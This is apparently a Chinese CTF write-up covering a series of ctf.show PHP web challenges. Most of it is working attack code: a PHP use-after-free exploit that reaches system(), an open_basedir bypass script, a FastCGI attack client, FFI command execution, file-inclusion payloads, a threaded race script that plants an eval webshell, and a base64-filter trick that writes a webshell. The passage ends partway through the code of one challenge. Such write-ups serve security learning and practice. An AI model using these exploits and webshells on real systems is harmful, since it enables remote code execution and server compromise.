write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

之前De1CTF中的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
pwn("/readflag");

function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this -> a);
$backtrace = (new Exception) -> getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2int($str) {
$address = 0;
$address |= ord($str[4]);
$address <<= 8;
$address |= ord($str[5]);
$address <<= 8;
$address |= ord($str[6]);
$address <<= 8;
$address |= ord($str[7]);
return $address;
}
function leak($offset) {
global $abc;
return strrev(substr($abc, $offset, 8));
}
function leakA($offset) {
global $helper;
return strrev(substr($helper -> a, $offset, 8));
}
function write($offset, $data) {
global $abc;
$abc[$offset] = $data[7];
$abc[$offset + 1] = $data[6];
$abc[$offset + 2] = $data[5];
$abc[$offset + 3] = $data[4];
$abc[$offset + 4] = $data[3];
$abc[$offset + 5] = $data[2];
$abc[$offset + 6] = $data[1];
$abc[$offset + 7] = $data[0];
}
function trigger_uaf($arg) {
$arg = str_repeat('A', 79);
$vuln = new Vuln();
$vuln -> a = $arg;
}
# UAF
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper -> b = function ($x) { };
# leak head point of next php heap
$php_heap = leak(0x88);
echo "PHP Heap: " . bin2hex($php_heap) . "\n";
$abc_address = str2int($php_heap) - 0x88 - 0xa0;
echo '$abc: ' . dechex($abc_address) . "\n";
$closure_object = leak(0x20);
echo "Closure Object: " . bin2hex($closure_object) . "\n";
# let a point to closure_object
write(0x10, substr($php_heap, 0, 4) . hex2bin(dechex(str2int($closure_object) - 0x28)));
write(0x18, str_pad("\x06", 8, "\x00", STR_PAD_LEFT));
# leak Closure Handlers
$closure_handlers = leakA(0x28);
echo "Closure Handlers: " . bin2hex($closure_handlers) . "\n";
# compute system address
$system_address = dechex(str2int($closure_handlers) - 10733946);
echo "System: " . $system_address . "\n";
# build fake closure_object
write(0x90, leakA(0x10));
write(0x90 + 0x08, leakA(0x18));
write(0x90 + 0x10, leakA(0x20));
write(0x90 + 0x18, leakA(0x28));
$abc[0x90 + 0x38] = "\x01";
write(0x90 + 0x68, substr($php_heap, 0, 4) . hex2bin($system_address));
# let b get this object
write(0x20, substr($php_heap, 0, 4) . hex2bin(dechex(str2int($php_heap) + 0x08 - 0xa0)));
# eval system
($helper -> b)($cmd);
exit();
}

上面两种方法都不行,nginx直接502,不知道为啥,直接包含也行,竟然没open_basedir

1
c=include('/flagc.txt');die();

web74

glob://协议读文件名,包含得到flag

web75

glob://协议读文件名flag36.txt,p牛的bypass open_basedir脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}

不大行 php获取敏感信息的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
printf("System: %s\n",php_uname());
printf("php_version: %s\n",phpversion());
printf("open_basedir: %s\n\n", ini_get('open_basedir'));
printf("disable_functions: %s\n\n", ini_get('disable_functions'));
printf("all_extensions: ");
foreach(get_loaded_extensions() as $key => $value){
printf("%s ",$value);
}
printf("\n\nENVIRONMENT: ");
foreach(getenv() as $key => $value){
printf("\n\n%s=%s",$key,$value);
}
foreach(ini_get_all() as $key => $value){
printf("\n\n%s ==> %s",$key,$value["local_value"]);
}
exit();

攻击fastcgi exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
$this->_host = $host;
$this->_port = $port;
}
public function setKeepAlive( $b ) {
$this->_keepAlive = (boolean) $b;
if ( ! $this->_keepAlive && $this->_sock ) {
fclose( $this->_sock );
}
}
public function getKeepAlive() {
return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
$was_persistent = ( $this->_sock && $this->_persistentSocket );
$this->_persistentSocket = (boolean) $b;
if ( ! $this->_persistentSocket && $was_persistent ) {
fclose( $this->_sock );
}
}
public function getPersistentSocket() {
return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
$this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
if ( ! $this->_sock ) {
return false;
}
return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
if ( ! $this->_sock ) {
if ( $this->_persistentSocket ) {
$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
} else {
$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
}
if ( ! $this->_sock ) {
throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
}
if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
throw new Exception( 'Unable to set timeout on socket' );
}
}
}
private function buildPacket( $type, $content, $requestId = 1 ) {
$clen = strlen( $content );
return chr( self::VERSION_1 ) /* version */
. chr( $type ) /* type */
. chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
. chr( $requestId & 0xFF ) /* requestIdB0 */
. chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */
. chr( $clen & 0xFF ) /* contentLengthB0 */
. chr( 0 ) /* paddingLength */
. chr( 0 ) /* reserved */
. $content; /* content */
}
private function buildNvpair( $name, $value ) {
$nlen = strlen( $name );
$vlen = strlen( $value );
if ( $nlen < 128 ) {
/* nameLengthB0 */
$nvpair = chr( $nlen );
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
}
if ( $vlen < 128 ) {
/* valueLengthB0 */
$nvpair .= chr( $vlen );
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
$array = array();
if ( $length === null ) {
$length = strlen( $data );
}
$p = 0;
while ( $p != $length ) {
$nlen = ord( $data{$p ++} );
if ( $nlen >= 128 ) {
$nlen = ( $nlen & 0x7F << 24 );
$nlen |= ( ord( $data{$p ++} ) << 16 );
$nlen |= ( ord( $data{$p ++} ) << 8 );
$nlen |= ( ord( $data{$p ++} ) );
}
$vlen = ord( $data{$p ++} );
if ( $vlen >= 128 ) {
$vlen = ( $nlen & 0x7F << 24 );
$vlen |= ( ord( $data{$p ++} ) << 16 );
$vlen |= ( ord( $data{$p ++} ) << 8 );
$vlen |= ( ord( $data{$p ++} ) );
}
$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
$p += ( $nlen + $vlen );
}
return $array;
}
private function decodePacketHeader( $data ) {
$ret = array();
$ret['version'] = ord( $data{0} );
$ret['type'] = ord( $data{1} );
$ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
$ret['paddingLength'] = ord( $data{6} );
$ret['reserved'] = ord( $data{7} );
return $ret;
}
private function readPacket() {
if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
$resp = $this->decodePacketHeader( $packet );
$resp['content'] = '';
if ( $resp['contentLength'] ) {
$len = $resp['contentLength'];
while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
$len -= strlen( $buf );
$resp['content'] .= $buf;
}
}
if ( $resp['paddingLength'] ) {
$buf = fread( $this->_sock, $resp['paddingLength'] );
}
return $resp;
} else {
return false;
}
}
public function getValues( array $requestedInfo ) {
$this->connect();
$request = '';
foreach ( $requestedInfo as $info ) {
$request .= $this->buildNvpair( $info, '' );
}
fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
$resp = $this->readPacket();
if ( $resp['type'] == self::GET_VALUES_RESULT ) {
return $this->readNvpair( $resp['content'], $resp['length'] );
} else {
throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
public function request( array $params, $stdin ) {
$id = $this->async_request( $params, $stdin );
return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand( 1, ( 1 << 16 ) - 1 );
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval( $this->_keepAlive || $this->_persistentSocket );
$request = $this->buildPacket( self::BEGIN_REQUEST
, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
, $id
);
$paramsRequest = '';
foreach ( $params as $key => $value ) {
$paramsRequest .= $this->buildNvpair( $key, $value, $id );
}
if ( $paramsRequest ) {
$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
}
$request .= $this->buildPacket( self::PARAMS, '', $id );
if ( $stdin ) {
$request .= $this->buildPacket( self::STDIN, $stdin, $id );
}
$request .= $this->buildPacket( self::STDIN, '', $id );
if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
$info = stream_get_meta_data( $this->_sock );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Write timed out' );
}
// Broken pipe, tear down so future requests might succeed
fclose( $this->_sock );
throw new Exception( 'Failed to write request to socket' );
}
$this->_requests[ $id ] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
if ( ! isset( $this->_requests[ $requestId ] ) ) {
throw new Exception( 'Invalid request id given' );
}
if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
|| $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[ $requestId ]['response'];
}
if ( $timeoutMs > 0 ) {
// Reset timeout on socket for now
$this->set_ms_timeout( $timeoutMs );
} else {
$timeoutMs = $this->_readWriteTimeout;
}
$startTime = microtime( true );
do {
$resp = $this->readPacket();
if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
if ( $resp['type'] == self::STDERR ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
}
if ( $resp['type'] == self::END_REQUEST ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
if ( $resp['requestId'] == $requestId ) {
break;
}
}
if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
// Reset
$this->set_ms_timeout( $this->_readWriteTimeout );
throw new Exception( 'Timed out' );
}
} while ( $resp );
if ( ! is_array( $resp ) ) {
$info = stream_get_meta_data( $this->_sock );
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout( $this->_readWriteTimeout );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Read timed out' );
}
if ( $info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof'] ) {
throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
}
throw new Exception( 'Read failed' );
}
// Reset timeout
$this->set_ms_timeout( $this->_readWriteTimeout );
switch ( ord( $resp['content']{4} ) ) {
case self::CANT_MPX_CONN:
throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
break;
case self::OVERLOADED:
throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
break;
case self::UNKNOWN_ROLE:
throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
break;
case self::REQUEST_COMPLETE:
return $this->_requests[ $requestId ]['response'];
}
}
}
$client = new Client("unix:///tmp/php-cgi-74.sock", -1);
$php_value = "open_basedir = /";
$filepath = '/tmp/readflag.php';
$content = 'hpdoger';
echo $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen( $content ),
'PHP_VALUE' => $php_value,
),
$content
);

可以用下面代码判断php以什么运行:

1
<?php echo php_sapi_name();exit();

下面这段代码可以建立sock连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fread($fp, 128);
}
fclose($fp);
}
?>

web76

web77

提示说php7.4 立马想到FFI

1
2
3
c=?><?php $ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag >/var/www/html/1");
exit();

image-20201003230511786

访问文件1即可得到flag

web78

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

payload:

1
?file=php://filter/convert.base64-encode/resource=flag.php

web79

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

payload:

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web80

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

payload:

1
2
3
?file=Php://input
POST:
<?php system('cat *');

image-20201004134558706

web81

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

session上传进度getshell exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading

url='http://14889bba-5316-4070-95aa-6d25fca72b8f.chall.ctf.show/'
r=requests.session()
headers={
"Cookie":'PHPSESSID=dddd'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php file_put_contents("/tmp/2",\'<?php @eval($_POST[1]);?>\');echo "moonback";?>'
}
r.post(url,files=files,headers=headers,data=data)
# print('[+]POST')

def READ():
while True:
t=r.get(url+"?file=/tmp/sess_dddd")
if 'moonback' in t.text:
# print('[+]retry')
print('success')
else:
pass
for i in range(50):
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()

web82

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

session上传进度getshell

web83

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

session上传进度getshell

web84

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

由于把/tmp下的文件都清空了,因此不能在往里面写文件了,往网站目录写

web85

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

session上传进度getshell

web86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

session上传进度getshell

web87

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

url二次编码绕过前面的限制 接着bypass 死亡退出就行

1
php://filter/write=convert.base64-decode/resource=a.php

先看下需要补充多少有效字符

1
<?php die('大佬别秀了');?>

里面能被base64解码的字符只有phpdie六个,base64 四个一组,补两个

1
2
3
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

POST: content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

web88

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

直接包含data://协议就行,等于号用于补尾 直接删掉就行

1
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

数组绕过:

1
2
3
<?php
var_dump(intval([])); // 0
var_dump(intval([1])); // 1

默认传参会有值

1
2
3
4
5
 <?php
highlight_file(__FILE__);
var_dump($_GET['num']);
// array(1) { [0]=> string(0) "" }
// ?num[]=

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

payload:

1
?num=4476a

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

payload:

1
?cmd=%0Aphp

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

科学计数法绕过 :

1
2
3
4
<?php
var_dump('4476e1'==4476); // bool(false)
var_dump('4476e1'==44760); // bool(true)
var_dump(intval('4476e1')); // int(44760)

payload:

1
?num=4476e1

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

直接小数

1
?num=4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

payload:

1
?num=4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

看下intval函数手册:

image-20201005170456548

因此我们可以用八进制,4476的八进制是10574 payload:

1
?num= 010574

web96

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

跳一下目录就行

1
?u=../html/flag.php

web97

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

payload:

1
a[]=1&b[]=2

web98

1
2
3
4
5
6
7
8
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

大概意思就是,是否设置GET参数,有的话GET就是POST的指针,否则$GET=flag payload:

1
2
3
?1=
POST:
HTTP_FLAG=flag

web99

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
